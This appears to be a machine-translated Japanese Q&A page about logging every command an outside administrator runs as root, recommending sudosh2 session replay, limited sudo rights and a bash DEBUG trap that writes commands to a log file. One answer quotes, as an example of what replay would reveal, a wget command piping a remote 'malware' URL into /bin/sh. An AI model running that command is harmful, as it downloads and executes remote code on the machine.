web-dev-qa-db-ja.com

ルートから実行されたすべてのコマンドをログに記録する

ルートサーバーへのアクセスを外部のシステム管理者に許可したいのですが、彼が私のサーバーに対して何をしているかを必ず再確認したいと思います。彼らに望まないデータのコピーなど。また、読み取り専用で編集されていない場合でも、アクセスされたファイルを追跡したいと思います。

どうやってやるの?

16
cedivad

信頼、しかし検証!

チェックアウト sudosh2 。 sudosh2はFreeBSDポートによって提供されます。 RedHatおよびUbuntu用のパッケージが利用可能です。ここに彼らのウェブサイトからの説明があります:

sudoshは監査シェルフィルターであり、ログインシェルとして使用できます。 Sudoshはすべてのキーストロークと出力を記録し、VCRのようにセッションを再生できます。

Sudoshを使用すると、ユーザーのセッションを再生できます。これにより、ユーザーが見たとおりにすべての入力および出力を確認できます。すべて、キーストローク、タイプミス、バックスペース、viで何を編集したか、wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shの出力などが表示されます。

Sudoshログをsyslogに送信して、システムから離れた中央のsyslogサーバーに保存できるようにすることができます。

Sudosh2は、作成者によって放棄されたsudoshの代わりであることに注意してください。

ユーザーがスーパーユーザーの特権を持つことを主張する学術機関で働いていますか?または、企業で働いていて、ユーザーが自分のVMでスーパーユーザー特権を持つことを許可したいですか?これはあなたのための解決策かもしれません。

21

彼にrootアクセスを与えないでください。代わりに、非特権ユーザーアカウントを彼に与え、Sudoを介してすべての作業を行うように要求します。これにより、すべてのコマンドがログに記録されます。

この人が悪意を持っていて、あなたが彼に完全なSudo特権を与えた場合、彼はwillこれらのコマンドをログに記録せずにそれらの悪意を実行する方法を見つけることに注意してください。この場合、彼に仕事をするのに必要な特定のコマンドへのアクセスのみを許可します。

22
EEAA

私はsudosh2に精通していませんが、.bashrcに以下を入力して、bashシェルに入力したすべてのコマンドをファイル~/.command_logに記録します。

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

上記は、DEBUGにトラップを設定します。これは、通常のコマンドが実行される直前に実行されます。組み込みのcallerは、コマンドが対話型シェルで入力されているのか、.bashrcなどを介して実行されているのかをテストするために使用されます。値${BASH_COMMAND}には、現在実行されているコマンドが含まれています。

1
Richard Hansen